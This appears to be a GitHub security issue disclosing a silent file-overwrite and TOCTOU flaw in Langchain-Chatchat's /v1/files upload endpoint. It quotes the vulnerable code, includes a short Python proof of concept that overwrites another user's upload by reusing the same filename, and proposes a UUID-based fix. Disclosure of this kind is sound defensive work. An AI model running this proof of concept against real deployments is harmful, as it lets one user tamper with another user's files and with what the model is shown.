Skip to content

[Security] Silent File Overwrite via Filename-as-Path-Key Storage in /v1/files #5463

@3em0

Description

@3em0

Vulnerability Report

Summary

Field Value
Affected Version 0.3.x (at least 0.3.1.3)
Affected File libs/chatchat-server/chatchat/server/api_server/openai_routes.py:260-284
CWE CWE-367: TOCTOU Race Condition / CWE-732: Incorrect Permission Assignment
Severity Medium (CVSS 3.1: 5.4)

Description

Langchain-Chatchat stores uploaded files at a path derived solely from purpose, date, and the user-supplied filename. The server writes files using open(path, "wb") with no conflict detection, deduplication, or per-user isolation. When two users upload files with the same name on the same day, the second upload silently overwrites the first.

Combined with the absence of content pinning between upload time and LLM retrieval time, this creates a TOCTOU race condition in which the vision LLM may fetch an attacker-controlled image instead of the victim's original upload.

Vulnerable Code

# openai_routes.py:229-235 — deterministic path from filename
def _get_file_id(purpose, created_at, filename):
    today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
    return base64.urlsafe_b64encode(f"{purpose}/{today}/{filename}".encode()).decode()

# openai_routes.py:270-274 — no conflict protection
file_path = _get_file_path(file_id)
os.makedirs(file_dir, exist_ok=True)
with open(file_path, "wb") as fp:      # <- direct overwrite, no check
    shutil.copyfileobj(file.file, fp)

No content pinning on retrieval:

# openai_routes.py:309-312
@openai_router.get("/files/{file_id}/content")
def retrieve_file_content(file_id: str):
    file_path = _get_file_path(file_id)
    return FileResponse(file_path)  # <- real-time disk read, no snapshot

Attack Scenario

Via filename collision (file upload path):
The st.file_uploader path uses the original filename directly (dialogue.py:265), so two users uploading photo.png on the same day collide without any special technique.

Via hash collision (paste image path):
When combined with the tobytes() hash collision (see #5462), attackers can force filename collision even through the paste path.

TOCTOU exploitation:

  1. User A uploads image → stored at .../assistants/2026-04-01/photo.png
  2. User B uploads same filename → overwrites on disk
  3. LLM fetches via image_url callback → receives B's content instead of A's

Proof of Concept

import requests

API = "http://127.0.0.1:7861"

# User A uploads
with open("legitimate.png", "rb") as f:
    resp_a = requests.post(f"{API}/v1/files",
        files={"file": ("photo.png", f, "image/png")},
        data={"purpose": "assistants"})
file_id = resp_a.json()["id"]
original = requests.get(f"{API}/v1/files/{file_id}/content").content

# User B uploads same filename -> overwrites
with open("malicious.png", "rb") as f:
    resp_b = requests.post(f"{API}/v1/files",
        files={"file": ("photo.png", f, "image/png")},
        data={"purpose": "assistants"})

assert file_id == resp_b.json()["id"]  # Same file_id
replaced = requests.get(f"{API}/v1/files/{file_id}/content").content
assert original != replaced             # Content silently replaced

Suggested Fix

import uuid

def _get_file_id(purpose, created_at, filename):
    today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
    unique_id = uuid.uuid4().hex
    return base64.urlsafe_b64encode(
        f"{purpose}/{today}/{unique_id}_{filename}".encode()
    ).decode()

Full Report

Full vulnerability report: https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-2-Silent-File-Overwrite.md

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions